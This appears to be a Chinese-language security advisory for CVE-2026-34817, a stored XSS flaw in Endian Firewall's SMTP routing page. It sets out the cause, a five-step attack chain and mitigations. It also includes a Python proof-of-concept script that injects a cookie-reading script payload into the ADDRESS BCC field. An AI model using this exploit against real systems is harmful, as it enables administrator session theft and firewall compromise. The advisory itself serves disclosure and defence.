IPBUF安全漏洞报告
English
CVE-2026-34817 CVSS 6.4 中危

CVE-2026-34817 Endian Firewall存储型XSS漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-34817
漏洞类型
存储型跨站脚本 (Stored XSS)
CVSS评分
6.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Endian Firewall

相关标签

XSS存储型XSSWeb安全Endian FirewallCVE-2026-34817

漏洞概述

Endian Firewall 3.3.25及更早版本在/cgi-bin/smtprouting.cgi接口的ADDRESS BCC参数中存在存储型跨站脚本(XSS)漏洞。由于系统未能充分过滤用户输入,经过身份认证的攻击者可在此处植入任意恶意JavaScript代码。一旦其他用户浏览包含该注入内容的受影响页面,恶意脚本便会触发执行,进而可能导致账户劫持、敏感数据窃取或其他客户端攻击行为。

技术细节

该漏洞的核心成因是Endian Firewall在处理SMTP路由配置时,对ADDRESS BCC参数缺乏严格的输入验证和上下文感知的输出编码。攻击者首先需要具备低权限账户,随后构造恶意的HTTP POST请求发送至/cgi-bin/smtprouting.cgi端点。在请求体中,攻击者将恶意JavaScript代码(如窃取Cookie的脚本)注入到ADDRESS BCC字段。服务端接收数据后,未对其安全性进行检查便将其持久化存储。当高权限管理员后续访问该配置管理页面时,后端逻辑直接读取存储的数据并将其反射回HTML页面中。由于未进行HTML实体编码,浏览器将其识别为可执行脚本进行解析。这使得攻击者能够以受害管理员的身份执行操作,窃取会话凭证,甚至篡改防火墙配置,造成更严重的横向渗透风险。

攻击链分析

STEP 1
步骤1:获取访问权限
攻击者使用低权限账户登录Endian Firewall管理界面。
STEP 2
步骤2:构造恶意请求
攻击者向/cgi-bin/smtprouting.cgi发送POST请求,并在ADDRESS BCC参数中注入恶意JavaScript代码。
STEP 3
步骤3:存储Payload
服务器端未能过滤恶意代码,将其存储在数据库或配置文件中。
STEP 4
步骤4:触发漏洞
当管理员或其他授权用户访问SMTP路由管理页面查看配置时,服务器加载包含恶意代码的数据。
STEP 5
步骤5:执行攻击
受害者的浏览器解析并执行恶意脚本,攻击者可窃取Session ID或执行其他恶意操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (replace with actual target) target_url = "http://target-ip/cgi-bin/smtprouting.cgi" # Attacker's credentials username = "attacker" password = "password" # Malicious payload to be injected in the ADDRESS BCC parameter xss_payload = "<script>alert(document.cookie);</script>" # Data payload for the request # Note: Parameter names might vary based on actual form structure post_data = { "ACTION": "Add", "ADDRESS_TO": "[email protected]", "ADDRESS_BCC": xss_payload } # Create a session to maintain authentication session = requests.Session() # 1. Login to get authenticated session # (Assuming a login endpoint exists, adjust as necessary) login_data = { "username": username, "password": password } # session.post("http://target-ip/login.cgi", data=login_data) # 2. Send the exploit payload try: response = session.post(target_url, data=post_data) if response.status_code == 200: print("[+] Payload sent successfully. Check the BCC field in the admin panel.") else: print(f"[-] Failed to send payload. Status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

Endian Firewall <= 3.3.25

防御指南

临时缓解措施
建议管理员暂时限制对SMTP路由配置页面的访问权限,仅允许可信的管理员账号进行操作。在官方补丁未部署前,可部署Web应用防火墙(WAF)规则,用于检测和拦截包含常见XSS特征(如<script>标签、javascript:等)的请求流量。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表